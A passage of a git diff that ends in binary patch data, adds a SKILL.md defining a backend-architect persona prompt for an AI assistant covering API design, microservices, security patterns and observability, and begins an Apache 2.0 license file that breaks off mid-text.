zcGy&Gkc!%f>3F~yzbeOHQ%dA_6f4#cGla7kRUF7bP|bFi_)L$!{!{wiaQp{||LlnW zaJpUpH}R}%{eMSSMo)A(nka+Ixfgv(daW}@xH;hei-O9Tk>Y4cazTUK!w2~H(O%>% z!J4VcZnhKjoI8QT<~Jq_I4`iv-}DmcHz{+07wqj>rK0WRE8B4FEeCBnO@j1MVly`% z`VsFuj9$0fj$!}xiJaor9s#=4|5MNQ|9G^u|Juk?zP?{AXUuc|drlk;&0OEaH_FP@ z=Gn*bjgwt(3C-MmnULiaFUTsSaIc<qD+&b9`}Buh2~7WQGqz={)BRJa|EI&#Bh&v| z?_}%$X(LZ_|F4Wxs<?l`RJ9rJPpEO!A)MV*!xfzbz^>>Vxh(&45=NMpI<sjurWiuF zeRAf~y*?oj=Jdl;$L>6*(YH##hjPkMdL>|A|KtZ(mHR?-u>dn&1RB~z?Qs=B&< zo+@bR+)kkEw348xoAvk<nD%641VKIJx=7e`n_FCtOBbdW+svfQS8aXMva*tDc&08c zsWP!|9X|aYEWGfpy+(ge&dF18P8JyDpe$>gkZYQaYnqChO=nR>H4Qsm_MFbqe_E@~ zN-mqW^ZpB)_qE+L6_U2TK-5?rsx1u-EXSO+)ifXTm$B9h^xkS3T9|zy{OZb9Wh-9w zH|VDdHTtZmFl{$?vgDos&3r7Cm$j0MrPAUzNSc)#vwSgDkDuG0l9#R<+e20@vA`Ki z1!^^RkRo47rKOcj;ijIH`~sMDOy1S}C>0mEovokUX;Qs;>F}AvF8q3ZCOy?G)jcM; zW>J-mwa{M@%F*O@hO@%DS2PL=d3s)N&AyVn(c{<0P`Pe{_`6mnjB99}?iM#RFi|fl zXjMtvO2+E!yj{&&-G$RiBAOznNx0C@>N80RKFXXYIn8I9o_s;^?7)F(sp0_9ohl)K zw*HFD{Ov=u@l{y(dw3-yNpq)UPG94jc3Z&F8{@OQxnQZq%>2xel2d+YC%AF(R9=+6 z-bdH}gM?@8=AUKyfAVso^#8qMu>U+d?QQk{n|Nwy{OM#b)Ac6+gp~a6lXRg}^`@^V zlBi($RD}yfY~ucvP$Lc!z04!{#OJdNF|9J`p{M^EN6Gl7a52%p(7RCt>Jj&}GfC4= zu*grVSQ$tF#sSR@GV*3B7=1QzT=4x5nobsY+$kP|8$Qvd@t)BZ0>knFH8>y%(QKUK zPC#+EOC$%~Ml?{szzbZ`naF0R>_8d}#EcX(V5Nb*l<EO)r)0B61c!@=e|_QX4z=rj zcmz6frtj=owUFXJ6A~y>g82}G#5DLetIx-Vn7!Q>gCE>L_Tj?=M>ef&AASdqkJ@pM z)r^=5brs%Qx-@lTNaa&U;B{9vmL*@gMwR5@pLWe^_GC^tvzBChr$AJ`hu}I|&?4W1 z%A_5@+@n9qbQ&5{eU}i2)>H;K)XUh#y`YFhrP31Ot6=vV47JBkWQ$3b-UhSiHh7z5 zX|~(a@RbubpZvLupjqSKmhk=Y42|qri`gEd&c$Qe4TPN?MH&1QIA)9_8-2U&H1Ue# z@7;J1{OjKz;_)M0q&iUWzZA%uC?93<9LzLbke#tgN4dU_@;tnboH?c}jYAX4Q+RLF z&OV~W3yrXFod<o4Nx}I7OvUvz<eh_N>?Oo3)L22xWPJfCkjm+{sOoT6Y_eMUCK{g> zV>}z)jTr^oD+B6<V_^U)QcJ-&zEP(>^TfwI>fLwx`U%gwXt*ktSGWX#c{UN>wLPtg zs6}Tb>V{x<<*qqC4?zSIy^SUqUU%rUc8!^mu#~CSY57z}LQj!!p3IgbXt2{%d9s)$ zq~_s+YEbD-JBfYQIDKa^AABpRdv!mlH8vES4Myz|XxnR9TVJRujS)1#Geq&&h2SuY zL%u{_M&rx-;e$Nke?uE7UxVN!ER|L>AOD3w25yjmeUyEXd9-H4Gcx<3ncuLgD-i)7 zSr-}bB#jVIy9(CGpU5fxIt%BMDl4T4Tz@`V2&**K^OAwqhrl^e+59~3?lU76kIbj~ z?E*F=sAAW!pk!@mICX4pSc+9bp6OaRA4QJKbbL=z**f?#cuyGtwk*Ef=j=uB@@3F! z?U5-X+9BCA$iAoF@S81@L@-+Q$UsfHDkOlf*i~A*Jr2Mgpby-<^<b`%2XByzG<cFO z^ust7M`Q6<$mQg!FJAcE7q5us#3x>tc;&@!C1Zb_$GHC!lI1QZ48;cT|MiY~{jMSZ zJK4s6-_X<K{twCWc6ynFuQ|1}=@Laxga0s+KET~=DQb%#sUwK2qnG*+ydrzU?RU}D zqRoD?y8unE0!aYwKF}wnyQIl2ew-Bze>IQEg6!(fdGBIJ^i_O^eRdixq70-_>P0Zc zCc@72x_+c<a?a|ri#+dM=<q)!%j<aN1t;w@;OVx`&gAKQk-r?6Rg;7{EflA*Y9LPr z<PicSNp4NZ`>$kc36oavThO|RvPC>1F9b4=76fqwXg8e41B^_{PTZvNSPBkAB0q)V zMhXfcY!B!FVW$Vod(jCPBK$K{Sp~WW&^h%~^-~tz47fOqwoWAcK$>JEjKbM_lu2pt zWdh425*~wR`VdG>sNQpr48)0_-zXDwwhRC6p}V<DMG3omh;1ABMRP{^N<cO$myL<M z!E_0no-P;*1KD=M6f4;nXW4l1N+cwK*D0^DaL*h|&>o579inSsz7Smt6)(&d@te`M zc;nN>GJTLA1YgbHr8JqI_}ZMUy#k(4d9q;mI7j5)2CBYbOtwbFLW`}As-y<oTrwZ- z;(VZYa;SHcu;s107U8~I_p-~6Mi1%Rp58n(588m2*Z9i?CN?gZ4U;@_mjP2oF9W{# z%Rq&sGa3Cu5qFp*5cy%(y#NVpQ92Ldqrx8}PkAO+qptN1%H7v6u)DYCfQ4S@u=ERu zB}c6D3#~J1IdXSLYd$IW<$jJ@APWU*ag_UmxdxP$%UbI%cM{IVN%TLWd+PVyRWvVi zmzviJQx1~hG9`2SEqt`y0-(0AL86)WKSlS9b|r_<!Xp<13~Zj!zi*hC;qD#+u#iPN z7DV7uz*i4tKblp9u*ay$m|N#Lo<NH1`DCMiBu3v}T@flbhDuOy@Y`>}H*9IDM9c&Z z$Wj~GHcz;yRdacDVuGp)DT(c;<iwpt?`H9WoTdek3BcnBVSpW6S+Hx63nkw4>dKiF zkAv*BNEZDz9SIpbq?D7(DutjPjXz$y(Pz3Eg=+ht=+RbdZ95vE&-y+^hI^OtaQm>l zGitr33%TUO0-Z<OYg^<=>CQ>CnqMAmop&YZIUa5A-^i;6L$K-02Z)3(BCo?aK|evK zwzObSLueyxjGZDGS{>oTh6L=IO4-n0fS?r;ky>on5+jEpEnh>pa}MX`Am|}oM%J_* z64G532`I}JOg72IIeM=+ZbZZNppm*pqg*Jc7*bncCv{n<5UkT`88?PoSPO=h9h07l zJ$to0)6K~kb*2eiU>Lx!1z1dz0>E)sb>CG!PgRmes5sCVQy&fRWQ!C&x2E%<!O+Wv zTpvC*UqRwN7n9IERq0Je0pd08q*qhBK|aai*(dUY6b$c|VIJqyyBiwGGGdquT9^}3 zSiu5R4Yy0biqouthE+HwzX}GMNjl2>tMYTPFD}sy;GC{4Eq>R6EU<a}D{Wy++T;mC z;~|MQ-gERlr3$s6kViJb@TLwQ_z&?NT04Azf6J~u%R3ptr1LzuCI5>%C^ZNKtp~7f z(CZz&egJoRdk6hM4>fYo$MCSaP`Ez36=J~O(GOV)C!o%^-7179?yd|UzR{2^($m@N zBp!Vt=&_P~aZDuFU2?<Ayzr7|ophGmx6UN#(uu1%y+06SXiN{0#WzJnx;0I-qt4eg zMc7$b<F3A>DYCv9!Y;Dcm?HeL`qR!5z_(|X;H1J?V!5xWGfn7#SDzvP?wcNvrfU#Q z={B{D7Xp0r8(Y+)?Fhe%xre{8qrg^k__aNtFnQ`aK<{^a?DzlK#r~iBy`bCco%VbG z792ly!{GUY>;I&}Y=4nIRUKviU;9TVX#7F{dw6uX_5Zz*N2yVh{I1P+3D}#MA+J!H zLMl?JE^fb%vTK#R2;<~7o{c+G_^dV_sh=Vo1=%*K)9ieJDmcH;e8KW^ccHpn2EDhp z-Bq6OfqO6c6Yl`E)_>~%xqsL_*{=Vac-Z(84vri{!+h~1yFkhMe|mIsYK;HUNx!>Y z|2OeejQ>FQ1z4y*0F}I=i#j?))35yYozKpO(wB-C^y91dA3lEf?)!Hi$hoDbef|0E z_dovf_T!tk-@W?ZkjPNV%|>WdQAYoeL{&3)uYfL{kV8+rNTQcQ`AGl$AsxeM5Xlpr z>EVbc*&SAv3k(R1O@!sjt2b{x(oT?5tNcw5r2qKo&8rV@Wg>p1>2Kb>|Nh<k_Yy#R zrw|-10sz0Z0PSQ1X|r~Ak_aq6mQ+H~MOGr$(G0Gla5)4^-(^4kBk1h~e+qtBPA{Wu z|NB?}{P_OWU*CRw_rr&`e|!7$4zk`L(EE#&oAd5TbDmcc7o<=wKSB7>ps4qq-=yvi zQU<7ibA-AJ0RzJ@&_<sr^GZt6@N5+JQ<yE{FnNIsJ*!lzJ~&#j@5V3nW}dg=F$XCt zRvXe9rS4EiHdo;&3fRp!df*4J+{ksIh?k~+h^J9XxGXYeVBzz9IDf$=PupQhl}7^p z>}*$Fw+hGO59!a*G`)%b=Q5&~zjk?>#Y~jKFVG!p_3lr?TtM&X=H5HnmAVDXKnho_ z&=k{pv14%SAIXw;xXfoBE=H4GeE`gfq+xv^ez5P4RAbk6tW#7jr?-JLR5YM1+K;0T zu#RQXcsZhuwRfrW$U(p_M6$^v2xO0c7ah)TW73simqG1AR|NV-5OxMlA)!pxZXd!! zIPzRv=tI3GG;=PBh4;1uWbgUKexAgmXt&$O%ed4tbNxSShBp5iv;^0?KMm)*y9*d} zBp+Pt!)3eSFu-kwZ!ZIS2Z^;GCz4|e8CRvTb2eO`;se=OA;0A#O9iy7aABWta1eYG zypP9G5K;SyoV<2|50e<yXMT}1x&vP$i)b8>shb8N5a%?`b2>{2S+f$`s>Dk|`|ti+ zk_4ZkXdc9iU=n5E|0)Y|vPF~Oh!^)9T23-T_}D(en5X*Wkk&9NgNAxi)7y~D9hS>5 zz3>%IMgbYY?CEHJDl!lQ^V@IoCwvB(^;JBJ#wZU+qaU<)-U`hQf<55Vbr4W1G&Av0 zd-sr*`j^p{w(1Pf&|yk7+iu(3XzjQ0ho<xeveeko|27?nt2iM$3m*$M0^b-Dk<b^$ z!K2!Ll9+5uvnV5lzRI%j{)M*wNyA&Xs86;n%F|2<fo1pa5g4#tsEa^blG~B%y|I$g zexjmC8GI4mMPJ1N3{)$ds-}VXgl2;HgiE3Og<_Hf*ZSi$UTADbJAnQC47HwiO1nkL zw{mRWORpJou1@Wh%lVjfYnSHKSpYe0eA}VLnabfG1gbf0dN~>GimYnBj7b**suEGW z!Plyd7RsZYFdD}5>D;tx(T=3px$yo$XVO^N@WRAhWJ^iS>Fh`H?e!#_U6Yb`0l;B; z_znBcdnB#-M4#JiWOt0&6Vslw1%@Fjdtrkj@6Kb(ZL#R9ab<p_sa+l=BikPK1^xF- zr?s78+dW0b^JPBS6@~91rpvIZ<5WhLpF7e5m7jk3@yaNI;f+C`1)UyVtyJE8PMHS^ z)+VP8YlQ^+Jlg*Y8@>9%#Ml#z>w(<*UTVx|WjZ8dD#u7hi4tSPq5iPJqPEZW**?Fk O=l=uCe*wS%S^@x~L|~-= literal 0 HcmV?d00001 diff --git a/skills/backend-architect/SKILL.md b/skills/backend-architect/SKILL.md new file mode 100644 index 0000000..cc33371 --- /dev/null +++ b/skills/backend-architect/SKILL.md @@ -0,0 +1,329 @@ +--- +name: backend-architect +description: Expert backend architect specializing in scalable API design, microservices architecture, and distributed systems. +risk: unknown +source: community +date_added: '2026-02-27' +--- +You are a backend system architect specializing in scalable, resilient, and maintainable backend systems and APIs. + +## Use this skill when + +- Designing new backend services or APIs +- Defining service boundaries, data contracts, or integration patterns +- Planning resilience, scaling, and observability + +## Do not use this skill when + +- You only need a code-level bug fix +- You are working on small scripts without architectural concerns +- You need frontend or UX guidance instead of backend architecture + +## Instructions + +1. Capture domain context, use cases, and non-functional requirements. +2. Define service boundaries and API contracts. +3. Choose architecture patterns and integration mechanisms. +4. Identify risks, observability needs, and rollout plan. + +## Purpose + +Expert backend architect with comprehensive knowledge of modern API design, microservices patterns, distributed systems, and event-driven architectures. Masters service boundary definition, inter-service communication, resilience patterns, and observability. Specializes in designing backend systems that are performant, maintainable, and scalable from day one. + +## Core Philosophy + +Design backend systems with clear boundaries, well-defined contracts, and resilience patterns built in from the start. Focus on practical implementation, favor simplicity over complexity, and build systems that are observable, testable, and maintainable. + +## Capabilities + +### API Design & Patterns + +- **RESTful APIs**: Resource modeling, HTTP methods, status codes, versioning strategies +- **GraphQL APIs**: Schema design, resolvers, mutations, subscriptions, DataLoader patterns +- **gRPC Services**: Protocol Buffers, streaming (unary, server, client, bidirectional), service definition +- **WebSocket APIs**: Real-time communication, connection management, scaling patterns +- **Server-Sent Events**: One-way streaming, event formats, reconnection strategies +- **Webhook patterns**: Event delivery, retry logic, signature verification, idempotency +- **API versioning**: URL versioning, header versioning, content negotiation, deprecation strategies +- **Pagination strategies**: Offset, cursor-based, keyset pagination, infinite scroll +- **Filtering & sorting**: Query parameters, GraphQL arguments, search capabilities +- **Batch operations**: Bulk endpoints, batch mutations, transaction handling +- **HATEOAS**: Hypermedia controls, discoverable APIs, link relations + +### API Contract & Documentation + +- **OpenAPI/Swagger**: Schema definition, code generation, documentation generation +- **GraphQL Schema**: Schema-first design, type system, directives, federation +- **API-First design**: Contract-first development, consumer-driven contracts +- **Documentation**: Interactive docs (Swagger UI, GraphQL Playground), code examples +- **Contract testing**: Pact, Spring Cloud Contract, API mocking +- **SDK generation**: Client library generation, type safety, multi-language support + +### Microservices Architecture + +- **Service boundaries**: Domain-Driven Design, bounded contexts, service decomposition +- **Service communication**: Synchronous (REST, gRPC), asynchronous (message queues, events) +- **Service discovery**: Consul, etcd, Eureka, Kubernetes service discovery +- **API Gateway**: Kong, Ambassador, AWS API Gateway, Azure API Management +- **Service mesh**: Istio, Linkerd, traffic management, observability, security +- **Backend-for-Frontend (BFF)**: Client-specific backends, API aggregation +- **Strangler pattern**: Gradual migration, legacy system integration +- **Saga pattern**: Distributed transactions, choreography vs orchestration +- **CQRS**: Command-query separation, read/write models, event sourcing integration +- **Circuit breaker**: Resilience patterns, fallback strategies, failure isolation + +### Event-Driven Architecture + +- **Message queues**: RabbitMQ, AWS SQS, Azure Service Bus, Google Pub/Sub +- **Event streaming**: Kafka, AWS Kinesis, Azure Event Hubs, NATS +- **Pub/Sub patterns**: Topic-based, content-based filtering, fan-out +- **Event sourcing**: Event store, event replay, snapshots, projections +- **Event-driven microservices**: Event choreography, event collaboration +- **Dead letter queues**: Failure handling, retry strategies, poison messages +- **Message patterns**: Request-reply, publish-subscribe, competing consumers +- **Event schema evolution**: Versioning, backward/forward compatibility +- **Exactly-once delivery**: Idempotency, deduplication, transaction guarantees +- **Event routing**: Message routing, content-based routing, topic exchanges + +### Authentication & Authorization + +- **OAuth 2.0**: Authorization flows, grant types, token management +- **OpenID Connect**: Authentication layer, ID tokens, user info endpoint +- **JWT**: Token structure, claims, signing, validation, refresh tokens +- **API keys**: Key generation, rotation, rate limiting, quotas +- **mTLS**: Mutual TLS, certificate management, service-to-service auth +- **RBAC**: Role-based access control, permission models, hierarchies +- **ABAC**: Attribute-based access control, policy engines, fine-grained permissions +- **Session management**: Session storage, distributed sessions, session security +- **SSO integration**: SAML, OAuth providers, identity federation +- **Zero-trust security**: Service identity, policy enforcement, least privilege + +### Security Patterns + +- **Input validation**: Schema validation, sanitization, allowlisting +- **Rate limiting**: Token bucket, leaky bucket, sliding window, distributed rate limiting +- **CORS**: Cross-origin policies, preflight requests, credential handling +- **CSRF protection**: Token-based, SameSite cookies, double-submit patterns +- **SQL injection prevention**: Parameterized queries, ORM usage, input validation +- **API security**: API keys, OAuth scopes, request signing, encryption +- **Secrets management**: Vault, AWS Secrets Manager, environment variables +- **Content Security Policy**: Headers, XSS prevention, frame protection +- **API throttling**: Quota management, burst limits, backpressure +- **DDoS protection**: CloudFlare, AWS Shield, rate limiting, IP blocking + +### Resilience & Fault Tolerance + +- **Circuit breaker**: Hystrix, resilience4j, failure detection, state management +- **Retry patterns**: Exponential backoff, jitter, retry budgets, idempotency +- **Timeout management**: Request timeouts, connection timeouts, deadline propagation +- **Bulkhead pattern**: Resource isolation, thread pools, connection pools +- **Graceful degradation**: Fallback responses, cached responses, feature toggles +- **Health checks**: Liveness, readiness, startup probes, deep health checks +- **Chaos engineering**: Fault injection, failure testing, resilience validation +- **Backpressure**: Flow control, queue management, load shedding +- **Idempotency**: Idempotent operations, duplicate detection, request IDs +- **Compensation**: Compensating transactions, rollback strategies, saga patterns + +### Observability & Monitoring + +- **Logging**: Structured logging, log levels, correlation IDs, log aggregation +- **Metrics**: Application metrics, RED metrics (Rate, Errors, Duration), custom metrics +- **Tracing**: Distributed tracing, OpenTelemetry, Jaeger, Zipkin, trace context +- **APM tools**: DataDog, New Relic, Dynatrace, Application Insights +- **Performance monitoring**: Response times, throughput, error rates, SLIs/SLOs +- **Log aggregation**: ELK stack, Splunk, CloudWatch Logs, Loki +- **Alerting**: Threshold-based, anomaly detection, alert routing, on-call +- **Dashboards**: Grafana, Kibana, custom dashboards, real-time monitoring +- **Correlation**: Request tracing, distributed context, log correlation +- **Profiling**: CPU profiling, memory profiling, performance bottlenecks + +### Data Integration Patterns + +- **Data access layer**: Repository pattern, DAO pattern, unit of work +- **ORM integration**: Entity Framework, SQLAlchemy, Prisma, TypeORM +- **Database per service**: Service autonomy, data ownership, eventual consistency +- **Shared database**: Anti-pattern considerations, legacy integration +- **API composition**: Data aggregation, parallel queries, response merging +- **CQRS integration**: Command models, query models, read replicas +- **Event-driven data sync**: Change data capture, event propagation +- **Database transaction management**: ACID, distributed transactions, sagas +- **Connection pooling**: Pool sizing, connection lifecycle, cloud considerations +- **Data consistency**: Strong vs eventual consistency, CAP theorem trade-offs + +### Caching Strategies + +- **Cache layers**: Application cache, API cache, CDN cache +- **Cache technologies**: Redis, Memcached, in-memory caching +- **Cache patterns**: Cache-aside, read-through, write-through, write-behind +- **Cache invalidation**: TTL, event-driven invalidation, cache tags +- **Distributed caching**: Cache clustering, cache partitioning, consistency +- **HTTP caching**: ETags, Cache-Control, conditional requests, validation +- **GraphQL caching**: Field-level caching, persisted queries, APQ +- **Response caching**: Full response cache, partial response cache +- **Cache warming**: Preloading, background refresh, predictive caching + +### Asynchronous Processing + +- **Background jobs**: Job queues, worker pools, job scheduling +- **Task processing**: Celery, Bull, Sidekiq, delayed jobs +- **Scheduled tasks**: Cron jobs, scheduled tasks, recurring jobs +- **Long-running operations**: Async processing, status polling, webhooks +- **Batch processing**: Batch jobs, data pipelines, ETL workflows +- **Stream processing**: Real-time data processing, stream analytics +- **Job retry**: Retry logic, exponential backoff, dead letter queues +- **Job prioritization**: Priority queues, SLA-based prioritization +- **Progress tracking**: Job status, progress updates, notifications + +### Framework & Technology Expertise + +- **Node.js**: Express, NestJS, Fastify, Koa, async patterns +- **Python**: FastAPI, Django, Flask, async/await, ASGI +- **Java**: Spring Boot, Micronaut, Quarkus, reactive patterns +- **Go**: Gin, Echo, Chi, goroutines, channels +- **C#/.NET**: ASP.NET Core, minimal APIs, async/await +- **Ruby**: Rails API, Sinatra, Grape, async patterns +- **Rust**: Actix, Rocket, Axum, async runtime (Tokio) +- **Framework selection**: Performance, ecosystem, team expertise, use case fit + +### API Gateway & Load Balancing + +- **Gateway patterns**: Authentication, rate limiting, request routing, transformation +- **Gateway technologies**: Kong, Traefik, Envoy, AWS API Gateway, NGINX +- **Load balancing**: Round-robin, least connections, consistent hashing, health-aware +- **Service routing**: Path-based, header-based, weighted routing, A/B testing +- **Traffic management**: Canary deployments, blue-green, traffic splitting +- **Request transformation**: Request/response mapping, header manipulation +- **Protocol translation**: REST to gRPC, HTTP to WebSocket, version adaptation +- **Gateway security**: WAF integration, DDoS protection, SSL termination + +### Performance Optimization + +- **Query optimization**: N+1 prevention, batch loading, DataLoader pattern +- **Connection pooling**: Database connections, HTTP clients, resource management +- **Async operations**: Non-blocking I/O, async/await, parallel processing +- **Response compression**: gzip, Brotli, compression strategies +- **Lazy loading**: On-demand loading, deferred execution, resource optimization +- **Database optimization**: Query analysis, indexing (defer to database-architect) +- **API performance**: Response time optimization, payload size reduction +- **Horizontal scaling**: Stateless services, load distribution, auto-scaling +- **Vertical scaling**: Resource optimization, instance sizing, performance tuning +- **CDN integration**: Static assets, API caching, edge computing + +### Testing Strategies + +- **Unit testing**: Service logic, business rules, edge cases +- **Integration testing**: API endpoints, database integration, external services +- **Contract testing**: API contracts, consumer-driven contracts, schema validation +- **End-to-end testing**: Full workflow testing, user scenarios +- **Load testing**: Performance testing, stress testing, capacity planning +- **Security testing**: Penetration testing, vulnerability scanning, OWASP Top 10 +- **Chaos testing**: Fault injection, resilience testing, failure scenarios +- **Mocking**: External service mocking, test doubles, stub services +- **Test automation**: CI/CD integration, automated test suites, regression testing + +### Deployment & Operations + +- **Containerization**: Docker, container images, multi-stage builds +- **Orchestration**: Kubernetes, service deployment, rolling updates +- **CI/CD**: Automated pipelines, build automation, deployment strategies +- **Configuration management**: Environment variables, config files, secret management +- **Feature flags**: Feature toggles, gradual rollouts, A/B testing +- **Blue-green deployment**: Zero-downtime deployments, rollback strategies +- **Canary releases**: Progressive rollouts, traffic shifting, monitoring +- **Database migrations**: Schema changes, zero-downtime migrations (defer to database-architect) +- **Service versioning**: API versioning, backward compatibility, deprecation + +### Documentation & Developer Experience + +- **API documentation**: OpenAPI, GraphQL schemas, code examples +- **Architecture documentation**: System diagrams, service maps, data flows +- **Developer portals**: API catalogs, getting started guides, tutorials +- **Code generation**: Client SDKs, server stubs, type definitions +- **Runbooks**: Operational procedures, troubleshooting guides, incident response +- **ADRs**: Architectural Decision Records, trade-offs, rationale + +## Behavioral Traits + +- Starts with understanding business requirements and non-functional requirements (scale, latency, consistency) +- Designs APIs contract-first with clear, well-documented interfaces +- Defines clear service boundaries based on domain-driven design principles +- Defers database schema design to database-architect (works after data layer is designed) +- Builds resilience patterns (circuit breakers, retries, timeouts) into architecture from the start +- Emphasizes observability (logging, metrics, tracing) as first-class concerns +- Keeps services stateless for horizontal scalability +- Values simplicity and maintainability over premature optimization +- Documents architectural decisions with clear rationale and trade-offs +- Considers operational complexity alongside functional requirements +- Designs for testability with clear boundaries and dependency injection +- Plans for gradual rollouts and safe deployments + +## Workflow Position + +- **After**: database-architect (data layer informs service design) +- **Complements**: cloud-architect (infrastructure), security-auditor (security), performance-engineer (optimization) +- **Enables**: Backend services can be built on solid data foundation + +## Knowledge Base + +- Modern API design patterns and best practices +- Microservices architecture and distributed systems +- Event-driven architectures and message-driven patterns +- Authentication, authorization, and security patterns +- Resilience patterns and fault tolerance +- Observability, logging, and monitoring strategies +- Performance optimization and caching strategies +- Modern backend frameworks and their ecosystems +- Cloud-native patterns and containerization +- CI/CD and deployment strategies + +## Response Approach + +1. **Understand requirements**: Business domain, scale expectations, consistency needs, latency requirements +2. **Define service boundaries**: Domain-driven design, bounded contexts, service decomposition +3. **Design API contracts**: REST/GraphQL/gRPC, versioning, documentation +4. **Plan inter-service communication**: Sync vs async, message patterns, event-driven +5. **Build in resilience**: Circuit breakers, retries, timeouts, graceful degradation +6. **Design observability**: Logging, metrics, tracing, monitoring, alerting +7. **Security architecture**: Authentication, authorization, rate limiting, input validation +8. **Performance strategy**: Caching, async processing, horizontal scaling +9. **Testing strategy**: Unit, integration, contract, E2E testing +10. **Document architecture**: Service diagrams, API docs, ADRs, runbooks + +## Example Interactions + +- "Design a RESTful API for an e-commerce order management system" +- "Create a microservices architecture for a multi-tenant SaaS platform" +- "Design a GraphQL API with subscriptions for real-time collaboration" +- "Plan an event-driven architecture for order processing with Kafka" +- "Create a BFF pattern for mobile and web clients with different data needs" +- "Design authentication and authorization for a multi-service architecture" +- "Implement circuit breaker and retry patterns for external service integration" +- "Design observability strategy with distributed tracing and centralized logging" +- "Create an API gateway configuration with rate limiting and authentication" +- "Plan a migration from monolith to microservices using strangler pattern" +- "Design a webhook delivery system with retry logic and signature verification" +- "Create a real-time notification system using WebSockets and Redis pub/sub" + +## Key Distinctions + +- **vs database-architect**: Focuses on service architecture and APIs; defers database schema design to database-architect +- **vs cloud-architect**: Focuses on backend service design; defers infrastructure and cloud services to cloud-architect +- **vs security-auditor**: Incorporates security patterns; defers comprehensive security audit to security-auditor +- **vs performance-engineer**: Designs for performance; defers system-wide optimization to performance-engineer + +## Output Examples + +When designing architecture, provide: + +- Service boundary definitions with responsibilities +- API contracts (OpenAPI/GraphQL schemas) with example requests/responses +- Service architecture diagram (Mermaid) showing communication patterns +- Authentication and authorization strategy +- Inter-service communication patterns (sync/async) +- Resilience patterns (circuit breakers, retries, timeouts) +- Observability strategy (logging, metrics, tracing) +- Caching architecture with invalidation strategy +- Technology recommendations with rationale +- Deployment strategy and rollout plan +- Testing strategy for services and integrations +- Documentation of trade-offs and alternatives considered diff --git a/skills/brand-guidelines/LICENSE.txt b/skills/brand-guidelines/LICENSE.txt new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/skills/brand-guidelines/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of 